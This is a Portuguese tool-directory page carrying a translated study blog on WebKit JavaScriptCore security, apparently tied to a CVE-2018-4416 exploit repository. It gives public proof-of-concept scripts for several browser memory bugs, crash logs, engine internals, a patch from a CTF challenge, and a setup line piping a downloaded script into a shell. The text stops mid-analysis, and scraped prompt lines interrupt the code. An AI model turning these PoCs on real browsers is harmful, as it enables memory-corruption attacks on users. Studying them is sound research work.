Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-4416-exploit — Exploração de CVE para WebKit jsc CVE-2018-4416 | Kitploit
Ferramentas/GitHubGitHub/erupmi/cve-2018-4416-exploit
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e EducaçãoTrilhas e CursosExploração de Binários
GitHuberupmi/cve-2018-4416-exploit

CVE-2018-4416-exploit

Exploração de CVE para WebKit jsc CVE-2018-4416

Ver Repositório
93há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
  • Prefácio :PROPERTIES: :CUSTOM_ID: preface :END: Ok, segurança binária não é só /heap/ e /stack/, ainda temos muito a descobrir apesar dos desafios regulares de CTF. Navegador, Máquina Virtual e Kernel desempenham um papel importante na segurança binária. E eu decidi estudar navegador primeiro.

Escolhi um relativamente fácil: /WebKit/. (ChakraCore pode ser mais fácil, LoL. Mas há um rumor sobre a Microsoft cancelar o projeto. Então decidi não escolhê-lo).

Vou escrever uma série de posts para registrar minhas anotações no estudo de segurança do /WebKit/. É também a primeira vez que aprendo Segurança de Navegadores, meus posts provavelmente terão muitos erros. Se you notá-los, não hesite em me contatar para correções.

Antes de ler, você precisa saber: - Gramática de C++ - Gramática de Assembly - Instalação de Máquina Virtual - Familiaridade com Ubuntu e sua linha de comando - Conceitos básicos de teoria de compilação


  • Configuração :PROPERTIES: :CUSTOM_ID: setup :END: Ok, vamos começar agora.

** Máquina Virtual :PROPERTIES: :CUSTOM_ID: virtual-machine :END: Primeiro, precisamos instalar uma VM como nosso alvo de teste. Aqui, escolho /Ubuntu 18.04 LTS/ e /Ubuntu 16.04 LTS/ como nosso host alvo. Você pode baixar [[https://www.ubuntu.com/][aqui]]. Se eu não especificar a versão, por favor use 18.04 LTS como versão padrão.

Mac pode ser uma escolha mais apropriada, já que tem XCode e Safari. Considerando o alto consumo de recursos do MacOS e as atualizações instáveis, prefiro usar Ubuntu.

Precisamos de um software de VM. Prefiro usar [[https://www.vmware.com/][VMWare]]. Parallel Desktop e VirtualBox (Grátis) também são bons, depende do seu hábito pessoal.

Não vou te dizer como instalar o Ubuntu no VMWare passo a passo. No entanto, ainda preciso lembrá-lo de alocar tanta memória e CPUs quanto possível porque a compilação consome uma quantidade enorme de recursos. Um disco de 80GB deve ser suficiente para armazenar código fonte e arquivos compilados.

** Código Fonte :PROPERTIES: :CUSTOM_ID: source-code :END: Você pode baixar o código fonte do WebKit de três maneiras: [[https://github.com/WebKit/webkit][/git/]], /svn/, e [[https://webkit.org/getting-the-code/][/archive/]].

O gerenciador de versão padrão do WebKit é svn. Mas eu escolho git (muito pouco familiarizado com svn):

#+begin_example git clone git://git.webkit.org/WebKit.git WebKit #+end_example

** Depurador e Editor :PROPERTIES: :CUSTOM_ID: debugger-and-editor :END: IDE consome muitos recursos, então uso vim para editar código fonte.

A maioria dos trabalhos de depuração que vi usam lldb, com o qual não estou familiarizado. Portanto, também instalo gdb com o plugin gef.

#+begin_src shell sudo apt install vim gdb lldb wget -q -O- https://github.com/hugsy/gef/raw/master/scripts/gef.sh | sh #+end_src

** Teste :PROPERTIES: :CUSTOM_ID: test :END: *** Compilando JavaScriptCore :PROPERTIES: :CUSTOM_ID: compiling-javascriptcore :END: Compilar um WebKit completo leva muito tempo. Atualmente, compilamos apenas JSC (JavaScript Core), de onde a maioria das vulnerabilidades vem.

Agora, você deve estar no diretório raiz do código fonte do WebKit. Execute isso para preparar as dependências:

#+begin_src shell Tools/gtk/install-dependencies #+end_src

Mesmo que ainda não compilemos o WebKit completo agora, você pode instalar as dependências restantes primeiro para testes futuros. Este passo não é necessário para compilar JSC se você não quiser gastar muito tempo:

#+begin_src shell Tools/Scripts/update-webkitgtk-libs #+end_src

Depois disso, podemos compilar o JSC:

#+begin_src shell Tools/Scripts/build-webkit --jsc-only #+end_src

Alguns minutos depois, podemos executar o JSC com:

#+begin_src shell WebKitBuild/Release/bin/jsc #+end_src

Vamos fazer alguns testes:

#+begin_example

1+1 2 var obj = {a:1, b:"test"} undefined JSON.stringify(obj) {"a":1,"b":"test"} #+end_example

*** Disparando Bugs :PROPERTIES: :CUSTOM_ID: triggering-bugs :END:

#+begin_quote Ubuntu 18.04 LTS aqui #+end_quote

Usamos [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1652][CVE-2018-4416]] para testar, aqui está o PoC. Salve-o em =poc.js= na mesma pasta do =jsc=:

#+begin_example function gc() { for (let i = 0; i < 10; i++) { let ab = new ArrayBuffer(1024 * 1024 * 10); } }

function opt(obj) { // Starting the optimization. for (let i = 0; i < 500; i++) {

root@kitploit:~
  }

  let tmp = {a: 1};

  gc();
  tmp.__proto__ = {};

  for (let k in tmp) {  // The structure ID of "tmp" is stored in a JSPropertyNameEnumerator.
      tmp.__proto__ = {};

      gc();

      obj.__proto__ = {};  // The structure ID of "obj" equals to tmp's.

      return obj[k];  // Type confusion.
  }

}

opt({});

let fake_object_memory = new Uint32Array(100); fake_object_memory[0] = 0x1234;

let fake_object = opt(fake_object_memory); print(fake_object); #+end_example

Primeiro, mude para a versão vulnerável:

#+begin_example git checkout -b CVE-2018-4416 034abace7ab #+end_example

#+begin_quote Pode levar ainda mais tempo do que a compilação #+end_quote

Execute: =./jsc poc.js=, e podemos obter:

#+begin_example ASSERTION FAILED: structureID < m_capacity ../../Source/JavaScriptCore/runtime/StructureIDTable.h(129) : JSC::Structure* JSC::StructureIDTable::get(JSC::StructureID) 1 0x7f055ef18c3c WTFReportBacktrace 2 0x7f055ef18eb4 WTFCrash 3 0x7f055ef18ec4 WTFIsDebuggerAttached 4 0x5624a900451c JSC::StructureIDTable::get(unsigned int) 5 0x7f055e86f146 bool JSC::JSObject::getPropertySlot(JSC::ExecState*, JSC::PropertyName, JSC::PropertySlot&) 6 0x7f055e85cf64 7 0x7f055e846693 JSC::JSObject::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 8 0x7f055e7476bb JSC::JSCell::toPrimitive(JSC::ExecState*, JSC::PreferredPrimitiveType) const 9 0x7f055e745ac8 JSC::JSValue::toStringSlowCase(JSC::ExecState*, bool) const 10 0x5624a900b3f1 JSC::JSValue::toString(JSC::ExecState*) const 11 0x5624a8fcc3a9 12 0x5624a8fcc70c 13 0x7f05131fe177 Illegal instruction (core dumped) #+end_example

Se executarmos isso na versão mais recente (=git checkout master= para voltar e deletar o conteúdo de build =rm -rf WebKitBuild/Relase/= e =rm -rf WebKitBuild/Debug/=):

#+begin_example ./jsc poc.js WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory will be disabled. OK undefined

================================================================= ==96575==ERROR: LeakSanitizer: detected memory leaks

Direct leak of 96 byte(s) in 3 object(s) allocated from: #0 0x7fe1f579e458 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xe0458) #1 0x7fe1f2db7cc8 in __gnu_cxx::new_allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >::allocate(unsigned long, void const*) (/home/browserbox/WebKit/WebKitBuild/Debug/lib/libJavaScriptCore.so.1+0x5876cc8) #2 0x7fe1f2db7a7a in std::allocator_traits<std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> > >::allocate(std::allocator<std::_Sp_counted_deleter<std::mutex*, std::__shared_ptr<std::mutex, (__gnu_cxx::_Lock_policy)2>::_Deleter<std::allocatorstd::mutex >, std::allocatorstd::mutex, (__gnu_cxx::_Lock_policy)2> >)

... // lots of error message

SUMMARY: AddressSanitizer: 216 byte(s) leaked in 6 allocation(s). #+end_example

Agora, conseguimos disparar um bug!

Não vou explicar o detalhe (também não sei). Espero que possamos descobrir a causa raiz depois de algumas semanas.


  • Entendendo a Vulnerabilidade do WebKit :PROPERTIES: :CUSTOM_ID: understanding-webkit-vulnerability :END: Agora, é hora de discutir algo mais profundo. Antes de começarmos a falar sobre a arquitetura do WebKit, vamos descobrir bugs comuns no WebKit.

Aqui, eu discuto apenas bugs relacionados ao nível binário. Alguns bugs de nível mais alto, como /URL Spoof/ ou /UXSS/, não são nosso tópico. Exemplos abaixo não são apenas do WebKit. Alguns são bugs do Chrome. Vamos introduzir brevemente. E analisar PoC especificamente mais tarde.

Antes de ler esta parte, você é fortemente recomendado a ler alguns materiais sobre teoria de compilação. Conhecimento básico de Pwn também deve ser aprendido. Minha explicação não é clara. Novamente, corrija meus erros se encontrar.

Este post será atualizado várias vezes conforme meu entendimento do JSC se aprofunda. Não se esqueça de verificar mais tarde.

** 1. Use After Free :PROPERTIES: :CUSTOM_ID: use-after-free :END: Também conhecido como =UAF=. Isso é comum em desafios CTF, um cenário clássico:

#+begin_src C char* a = malloc(0x100); free(a); printf("%s", a); #+end_src

Por causa de alguns erros de lógica. O código reutilizará memória liberada. Geralmente, podemos vazar ou escrever uma vez que controlamos a memória liberada.

CVE-2017-13791 é um exemplo de UAF no WebKit. Aqui está o PoC:

#+begin_example

a b #+end_example

** 2. Out of Bound :PROPERTIES: :CUSTOM_ID: out-of-bound :END: Também conhecido como =OOB=. É como o overflow no navegador. Ainda assim, podemos ler/escrever memória próxima. =OOB= ocorre frequentemente em otimização falsa de um array ou verificação insuficiente. Por exemplo ([[https://bugs.chromium.org/p/project-zero/issues/detail?id=1033][CVE-2017-2447]]):

#+begin_example var ba; function s(){ ba = this; }

function dummy(){ alert("just a function"); }

Object.defineProperty(Array.prototype, "0", {set : s }); var f = dummy.bind({}, 1, 2, 3, 4); ba.length = 100000; f(1, 2, 3); #+end_example

#+begin_quote When Function.bind is called, the arguments to the call are transferred to an Array before they are passed to JSBoundFunction::JSBoundFunction. Since it is possible that the Array prototype has had a setter added to it, it is possible for user script to obtain a reference to this Array, and alter it so that the length is longer than the backing native butterfly array. Then when boundFunctionCall attempts to copy this array to the call parameters, it assumes the length is not longer than the allocated array (which would be true if it wasn't altered) and reads out of bounds. #+end_quote

Na maioria dos casos, não podemos sobrescrever diretamente o registrador =$RIP=. Escritores de exploit sempre criam arrays falsos para transformar R/W parcial em R/W arbitrário.

** 3. Type Confusion :PROPERTIES: :CUSTOM_ID: type-confusion :END: É uma vulnerabilidade especial que ocorre em aplicações com o compilador. E esse bug é um pouco difícil de explicar.

Imagine que temos o seguinte objeto (32 bits):

#+begin_src C struct example{ int length; char *content; } #+end_src

Então, se tivermos um =length= == =5= com um objeto ponteiro =content= na memória, provavelmente se parecerá com isso:

#+begin_example 0x00: 0x00000005 -> length 0x04: 0xdeadbeef -> pointer #+end_example

Uma vez que temos outro objeto:

#+begin_src C struct exploit{ int length; void (*exp)(); } #+end_src

Podemos forçar o compilador a interpretar o objeto =example= como objeto =exploit=. Podemos transformar a função =exp= em endereço arbitrário e RCE.

Um exemplo de type confusion:

#+begin_example var q; function g(){ q = g.caller; return 7; }

var a = [1, 2, 3]; a.length = 4; Object.defineProperty(Array.prototype, "3", {get : g}); [4, 5, 6].concat(a); q(0x77777777, 0x77777777, 0); #+end_example

Citado de [[https://bugs.chromium.org/p/project-zero/issues/detail?id=1032][CVE-2017-2446]]

#+begin_quote If a builtin script in webkit is in strict mode, but then calls a function that is not strict, this function is allowed to call Function.caller and can obtain a reference to the strict function. #+end_quote

** 4. Integer Overflow :PROPERTIES: :CUSTOM_ID: integer-overflow :END: Integer Overflow também é comum em CTF. Embora Integer Overflow por si só não leve a RCE, provavelmente leva a =OOB=.

Não é difícil entender esse bug. Imagine que você está executando o código abaixo em uma máquina de 32 bits:

#+begin_example mov eax, 0xffffffff add eax, 2 #+end_example

Porque o máximo de =eax= é =0xffffffff=. Não pode conter =0xffffffff= + =2= = =0x100000001=. Assim, o byte mais alto será estourado (eliminado). O resultado final de =eax= é =0x00000001=.

Este é um exemplo do WebKit ([[https://phoenhex.re/2017-06-02/arrayspread][CVE-2017-2536]]):

#+begin_example var a = new Array(0x7fffffff); var x = [13, 37, ...a, ...a]; #+end_example

#+begin_quote The length is not correctly checked resulting we can overflow the length via expanding an array to the old one. Then, we can use the extensive array to =OOB=. #+end_quote

** 5. Outros :PROPERTIES: :CUSTOM_ID: else :END: Alguns bugs são difíceis de categorizar: - Race Condition - Memória Não Alocada - ...

Explicarei eles em detalhes mais tarde.


  • JavaScriptCore em Profundidade :PROPERTIES: :CUSTOM_ID: javascriptcore-in-depth :END: O WebKit inclui principalmente: - JavaScriptCore: mecanismo de execução JavaScript. - WTF: /Web Template Library/, substituição para a biblioteca C++ STL. Tem operações de string, smart pointer, etc. A operação de heap também é única aqui. - DumpRenderTree: Produz =RenderTree= - WebCore: A parte mais complicada. Tem CSS, DOM, HTML, render, etc. Quase toda parte do navegador apesar dos componentes mencionados acima.

E o JSC tem: - lexer - parser - interpretador inicial (LLInt) - três compiladores JIT JavaScript, seu tempo de compilação gradualmente se torna mais longo, mas executam cada vez mais rápido: + baseline JIT, o JIT inicial + um JIT otimizador de baixa latência (DFG) + um JIT otimizador de alta taxa de transferência (FTL), fase final do JIT - dois mecanismos de execução WebAssembly: + BBQ + OMG

#+begin_quote Ainda um aviso, este post pode ser impreciso ou errado ao explicar mecanismos do WebKit #+end_quote

Se você aprendeu cursos básicos de teoria de compilação, lexer e parser são como de costume ensinados nas aulas. Mas a parte de geração de código é frustrante. Ele tem um interpretador e três compiladores, WTF? JSC também tem muitos outros recursos não convencionais, vamos dar uma olhada:

** Representação de Valor do JSC :PROPERTIES: :CUSTOM_ID: jsc-value-representation :END: Para facilitar a identificação, o valor do JSC é representado de forma diferente: - ponteiro : =0000:PPPP:PPPP:PPPP= (começa com 0000, depois seu endereço) - double (começa com 0001 ou FFFE): + =0001:::= + =FFFE:::= - inteiro: =FFFF:0000:IIII:IIII= (usa =IIII:IIII= para armazenar o valor) - false: =0x06= - true: =0x07= - undefined: =0x0a= - null: =0x02=

=0x0=, no entanto, não é um valor válido e pode levar a uma falha.

** Modelo de Objeto do JSC :PROPERTIES: :CUSTOM_ID: jsc-object-model :END: Diferente do Java, que tem membros de classe fixos, JavaScript permite que pessoas adicionem propriedades a qualquer momento.

Então, apesar de alinhar propriedades estaticamente tradicionalmente, o JSC tem um butterfly pointer para adicionar propriedades dinâmicas. É como um array adicional. Vamos explicar isso em várias situações.

Além disso, JSArray sempre será alocado para butterfly pointer já que eles mudam dinamicamente.

Podemos entender o conceito facilmente com o seguinte gráfico:

*** 0x0 Fast JSObject :PROPERTIES: :CUSTOM_ID: x0-fast-jsobject :END: As propriedades são inicializadas:

#+begin_example var o = {f: 5, g: 6}; #+end_example

O ponteiro butterfly será nulo aqui, já que temos apenas propriedades estáticas:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| NULL | --> Butterfly Pointer

| 0xffff000 | --> 5 em formato JS | 000000005 |

| 0xffff000 | | 000000006 | --> 6 em formato JS

#+end_example

Vamos expandir nosso conhecimento de JSObject. Como vemos, cada =structure ID= tem uma tabela de estrutura correspondente. Dentro da tabela, contém os nomes das propriedades e seus offsets. No nosso objeto anterior =o=, a tabela se parece com:

nome da propriedadelocalização
"f"inline(0)
"g"inline(1)

Quando queremos recuperar um valor (ex.: =var v = o.f=), os seguintes comportamentos acontecerão:

#+begin_src cpp if (o->structureID == 42) v = o->inlineStorage[0] else v = slowGet(o, “f”) #+end_src

Você pode se perguntar por que o compilador vai recuperar diretamente o valor via offset quando sabe que o =ID= é =42=. Isso é um mecanismo chamado inline caching, que nos ajuda a obter valor mais rápido. Não falaremos muito sobre isso, [[http://www.filpizlo.com/slides/pizlo-icooolps2018-inline-caches-slides.pdf][clique aqui]] para mais detalhes.

*** 0x1 JSObject com campos adicionados dinamicamente :PROPERTIES: :CUSTOM_ID: x1-jsobject-with-dynamically-added-fields :END: #+begin_example var o = {f: 5, g: 6}; o.h = 7; #+end_example

Agora, o butterfly tem um slot, que é 7.

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000007 | | 000000005 | | ------------- -------------- -> | ... | | 0xffff000 | | 000000006 |

#+end_example

*** 0x2 JSArray com espaço para 3 elementos de array :PROPERTIES: :CUSTOM_ID: x2-jsarray-with-room-for-3-array-elements :END: #+begin_example var a = []; #+end_example

O butterfly inicializa um array com tamanho estimado. O primeiro elemento =0= significa um número de slots usados. E =3= significa os slots máximos:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 0 | | ------------- (8 bits para esses dois elementos) | | 3 | -> ------------- | | ------------- | | ------------- | | ------------- #+end_example

*** 0x3 Objeto com propriedades rápidas e elementos de array :PROPERTIES: :CUSTOM_ID: x3-object-with-fast-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; #+end_example

Preenchemos um elemento do array, então =0=(slots usados) aumenta para =1= agora:

#+begin_example

|structure ID|

| indexing |

| type |

| flags |

| call state |

| butterfly | -| ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000005 | | | 3 | -------------- -> ------------- | 0xffff000 | | 0xffff000 | | 000000006 | | 000000007 |


root@kitploit:~
                 |   <hole>  |
                 -------------
                 |   <hole>  |
                 -------------

#+end_example*** 0x4 Objeto com propriedades rápidas e dinâmicas e elementos de array :PROPERTIES: :CUSTOM_ID: x4-object-with-fast-and-dynamic-properties-and-array-elements :END: #+begin_example var o = {f: 5, g: 6}; o[0] = 7; o.h = 8; #+end_example

O novo membro será acrescentado antes do endereço do ponteiro. Os arrays são colocados à direita e os atributos à esquerda do ponteiro butterfly, como a asa de uma borboleta:

#+begin_example

| ID da estrutura|

| indexação |

| tipo |

| flags |

| estado de chamada|

| butterfly | -| ------------- -------------- | | 0xffff000 | | 0xffff000 | | | 000000008 | | 000000005 | | ------------- -------------- | | 1 | | 0xffff000 | | ------------- | 000000006 | | | 2 | -------------- -> ------------- (endereço do ponteiro) | 0xffff000 | | 000000007 | ------------- | | ------------- #+end_example

*** 0x5 Objeto exótico com propriedades dinâmicas e elementos de array :PROPERTIES: :CUSTOM_ID: x5-exotic-object-with-dynamic-properties-and-array-elements :END: #+begin_example var o = new Date(); o[0] = 7; o.h = 8; #+end_example

Estendemos o butterfly com uma classe embutida; as propriedades estáticas não mudarão:

#+begin_example

| ID da estrutura|

| indexação |

| tipo |

| flags |

| estado de chamada|

| butterfly | -| ------------- -------------- | | 0xffff000 | | < C++ | | | 000000008 | | Estado > | -> ------------- -------------- | 1 | | < C++ | ------------- | Estado > | | 2 |


root@kitploit:~
                 | 0xffff000 |
                 | 000000007 |
                 -------------
                 |   <buraco> |
                 -------------

#+end_example

** Inferência de Tipo :PROPERTIES: :CUSTOM_ID: type-inference :END: JavaScript é uma linguagem de tipo fraco e dinâmico. O compilador realiza muito trabalho de inferência de tipos, tornando-a extremamente complicada.

*** Pontos de Observação (Watchpoints) :PROPERTIES: :CUSTOM_ID: watchpoints :END: Watchpoints podem ocorrer nos seguintes casos: - haveABadTime - Transição de estrutura - Valor inferido - Tipo inferido - e muitos outros...

Quando as situações acima ocorrem, verifica-se se o watchpoint foi otimizado. No WebKit, é representado assim:

#+begin_src cpp class Watchpoint { public: virtual void fire() = 0; }; #+end_src

Por exemplo, o compilador quer otimizar =42.toString()= para ="42"= (retornar diretamente em vez de usar código para converter), ele verifica se já foi invalidado. Se for válido, registra o watchpoint e faz a otimização.

** Compiladores :PROPERTIES: :CUSTOM_ID: compilers :END: *** 0x0. LLInt :PROPERTIES: :CUSTOM_ID: x0.-llint :END: No início, o interpretador gera um modelo de bytecode. Usando JVM como exemplo, para executar o arquivo =.class=, que é outro tipo de modelo de bytecode. O bytecode ajuda na execução mais fácil:

#+begin_example parser -> bytecompiler -> generatorfication -> bytecode linker -> LLInt #+end_example

*** 0x1. Baseline JIT e Modelo de Bytecode :PROPERTIES: :CUSTOM_ID: x1.-baseline-jit-and-byte-code-template :END: JIT mais básico; ele gera o =modelo de bytecode= aqui. Por exemplo, isto é /add/ em javascript:

#+begin_example function foo(a, b) { return a + b; } #+end_example

Este é o IL do bytecode, que é mais direto, sem análise léxica sofisticada e mais conveniente para converter em asm:

#+begin_example [ 0] enter [ 1] get_scope loc3 [ 3] mov loc4, loc3 [ 6] check_traps [ 7] add loc6, arg1, arg2 [12] ret loc6 #+end_example

Os segmentos de código =7= e =12= podem resultar no seguinte IL DFG (que veremos a seguir). Podemos notar que ele tem muitas informações relacionadas a tipo durante a operação. Na linha 4, o código verifica se o tipo de retorno corresponde:

#+begin_src cpp GetLocal(Untyped:@1, arg1(B/FlushedInt32), R:Stack(6), bc#7); GetLocal(Untyped:@2, arg2(C/FlushedInt32), R:Stack(7), bc#7); ArithAdd(Int32:@23, Int32:@24, CheckOverflow, Exits, bc#7); MovHint(Untyped:@25, loc6, W:SideState, ClobbersExit, bc#7, ExitInvalid); Return(Untyped:@25, W:SideState, Exits, bc#12); #+end_src

O AST se parece com isso:

#+begin_example +----------+ | return | +----+-----+ | | +----+-----+ | add | +----------+ | | | | v v +--+---+ +-+----+ | arg1 | | arg2 | +------+ +------+ #+end_example

*** 0x2. DFG :PROPERTIES: :CUSTOM_ID: x2.-dfg :END: Se o JSC detecta que uma função está sendo executada algumas vezes, ele passa para a próxima fase. A primeira fase já gerou bytecode. Então, o Analisador DFG analisa o bytecode diretamente, que é menos abstrato e mais fácil de analisar. Em seguida, o DFG otimiza e gera código:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG Backend #+end_example

Nesta etapa, o código é executado muitas vezes e o tipo é relativamente constante. A verificação de tipo usará OSR.

Imagine que otimizaremos disso:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // muita coisa

x = is_ok(ptr) ? *ptr : slow_path(ptr); y = ... // muita coisa z = is_ok(ptr) ? *ptr : slow_path(ptr); return w + x + y + z; } #+end_src

para isso:

#+begin_src cpp int foo(int* ptr) { int w, x, y, z; w = ... // muita coisa

if (!is_ok(ptr)) return foo_base1(ptr, w); x = *ptr; y = ... // muita coisa z = *ptr; return w + x + y + z; } #+end_src

O código será executado mais rápido porque =ptr= fará a verificação de tipo apenas uma vez. Se o tipo de /ptr/ for sempre diferente, o código otimizado será mais lento devido a constantes saídas (bailouts). Portanto, apenas quando o código é executado milhares de vezes, o navegador usa =OSR= para otimizá-lo.

*** 0x3. FLT :PROPERTIES: :CUSTOM_ID: x3.-flt :END: Uma função, se executada centenas ou milhares de vezes, o JIT usará FLT. Como o DFG, o FLT reutilizará o modelo de bytecode, mas com uma otimização mais profunda:

#+begin_example DFG bytecode parser -> DFG optimizer -> DFG-to-B3 lowering -> B3 Optimizer -> Instruction Selection -> Air Optimizer -> Air Backend #+end_example

*** 0x4. Mais Sobre Otimização :PROPERTIES: :CUSTOM_ID: x4.-more-about-optimization :END: Vamos dar uma olhada na mudança do IR nas diferentes fases de otimização:

| IR | Estilo | Exemplo | |----------+-------------------------+----------------------------------------------| | Bytecode | Load/Store de Alto Nível | =bitor dst, left, right= | | DFG | SSA Exótico de Nível Médio| =dst: BitOr(Int32:@left, Int32:@right, ...)= | | B3 | SSA Normal de Baixo Nível| =Int32 @dst = BitOr(@left, @right)= | | Air | CISC Arquitetural | =Or32 %src, %dest= |

A verificação de tipo é gradualmente eliminada. Agora você pode entender por que há tantas confusões de tipo em CVE de navegadores. Além disso, eles estão cada vez mais parecidos com código de máquina.

Assim que a verificação de tipo falha, o código retorna para o IR anterior (por exemplo, uma verificação de tipo falha no estágio B3, o compilador retorna para DFG e executa neste estágio).

** Coletor de Lixo (TODO) :PROPERTIES: :CUSTOM_ID: garbage-collector-todo :END: O heap do JSC é baseado em GC. Os objetos no heap terão um contador de suas referências. O GC fará a varredura do heap para coletar a memória sem uso.

...ainda, precisamos de mais materiais...


  • Escrevendo a Exploração :PROPERTIES: :CUSTOM_ID: writing-exploitation :END: Antes de começarmos a explorar bugs, devemos ver o quão difícil é escrever uma exploração. Focamos aqui na escrita do código de exploração; o detalhe da vulnerabilidade não será muito apresentado.

Este desafio é o WebKid do 35c3 CTF. Você pode compilar o binário do WebKit (com instruções), VM preparada e obter o código de exploração [[https://github.com/saelo/35c3ctf/tree/master/WebKid][aqui]]. Além disso, um macOS Mojave (10.14.2) deve ser preparado em VM ou máquina real (acho que não afetará crashes em diferentes versões do macOS, mas a primitiva de ataque pode ser diferente).

Execute com este comando:

#+begin_src shell DYLD_LIBRARY_PATH=/Path/to/WebKid DYLD_FRAMEWORK_PATH=/Path/to/WebKid /Path/to/WebKid/MiniBrowser.app/Contents/MacOS/MiniBrowser #+end_src

#+begin_quote Lembre-se de usar CAMINHO COMPLETO. Caso contrário, o navegador travará. #+end_quote

Se estiver executando em uma máquina local, lembre-se de criar =/flag1= para teste.

** Analisando :PROPERTIES: :CUSTOM_ID: analyzing :END: Vejamos o patch:

#+begin_example diff --git a/Source/JavaScriptCore/runtime/JSObject.cpp b/Source/JavaScriptCore/runtime/JSObject.cpp index 20fcd4032ce..a75e4ef47ba 100644 --- a/Source/JavaScriptCore/runtime/JSObject.cpp +++ b/Source/JavaScriptCore/runtime/JSObject.cpp @@ -1920,6 +1920,31 @@ bool JSObject::hasPropertyGeneric(ExecState* exec, unsigned propertyName, Proper return const_cast<JSObject*>(this)->getPropertySlot(exec, propertyName, slot); }

+static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) +{

  • ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));
  • Structure* previous = structure->previousID();
  • if (!previous)
  • root@kitploit:~
       return false;
    
  • unsigned unused;
  • bool isLastAddedProperty = !isValidOffset(previous->get(vm, propertyName, unused));
  • if (!isLastAddedProperty)
  • root@kitploit:~
       return false;
    
  • RELEASE_ASSERT(Structure::addPropertyTransition(vm, previous, propertyName, attributes, offset) == structure);
  • if (offset == firstOutOfLineOffset && !structure->hasIndexingHeader(thisObject)) {
  • root@kitploit:~
       ASSERT(!previous->hasIndexingHeader(thisObject) && structure->outOfLineCapacity() > 0 && previous->outOfLineCapacity() == 0);
    
  • root@kitploit:~
       thisObject->setButterfly(vm, nullptr);
    
  • }
  • thisObject->setStructure(vm, previous);
  • return true; +}

// ECMA 8.6.2.5 bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName propertyName) { @@ -1946,18 +1971,21 @@ bool JSObject::deleteProperty(JSCell* cell, ExecState* exec, PropertyName proper

root@kitploit:~
   Structure* structure = thisObject->structure(vm);
  • bool propertyIsPresent = isValidOffset(structure->get(vm, propertyName, attributes));
  • PropertyOffset offset = structure->get(vm, propertyName, attributes);
  • bool propertyIsPresent = isValidOffset(offset); if (propertyIsPresent) { if (attributes & PropertyAttribute::DontDelete && vm.deletePropertyMode() != VM::DeletePropertyMode::IgnoreConfigurable) return false;
  • root@kitploit:~
       PropertyOffset offset;
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary())
    
  • root@kitploit:~
       if (structure->isUncacheableDictionary()) {
           offset = structure->removePropertyWithoutTransition(vm, propertyName, [] (const ConcurrentJSLocker&, PropertyOffset) { });
    
  • root@kitploit:~
       else
    
  • root@kitploit:~
           thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
       } else {
    
  • root@kitploit:~
           if (!tryDeletePropertyQuickly(vm, thisObject, structure, propertyName, attributes, offset)) {
    
  • root@kitploit:~
               thisObject->setStructure(vm, Structure::removePropertyTransition(vm, structure, propertyName, offset));
    
  • root@kitploit:~
           }
    
  • root@kitploit:~
       }
    
  • root@kitploit:~
       if (offset != invalidOffset)
    
  • root@kitploit:~
       if (offset != invalidOffset && (!isOutOfLineOffset(offset) || thisObject->butterfly()))
           thisObject->locationForOffset(offset)->clear();
    
    }

diff --git a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in index 536481ecd6a..62189fea227 100644 --- a/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in +++ b/Source/WebKit/WebProcess/com.apple.WebProcess.sb.in @@ -25,6 +25,12 @@ (deny default (with partial-symbolication)) (allow system-audit file-read-metadata)

+(allow file-read* (literal "/flag1")) + +(allow mach-lookup (global-name "net.saelo.shelld")) +(allow mach-lookup (global-name "net.saelo.capsd")) +(allow mach-lookup (global-name "net.saelo.capsd.xpc")) + #if PLATFORM(MAC) && __MAC_OS_X_VERSION_MIN_REQUIRED < 101300 (import "system.sb") #else #+end_example

O maior problema aqui está na função =tryDeletePropertyQuickly=, que funciona assim (comentário fornecido por /Linus Henze/:

#+begin_src cpp static bool tryDeletePropertyQuickly(VM& vm, JSObject* thisObject, Structure* structure, PropertyName propertyName, unsigned attributes, PropertyOffset offset) { // Esta assert será sempre verdadeira desde que não passemos um offset "inválido" ASSERT(isInlineOffset(offset) || isOutOfLineOffset(offset));

root@kitploit:~
 // Tenta obter a estrutura anterior deste objeto
 Structure* previous = structure->previousID();
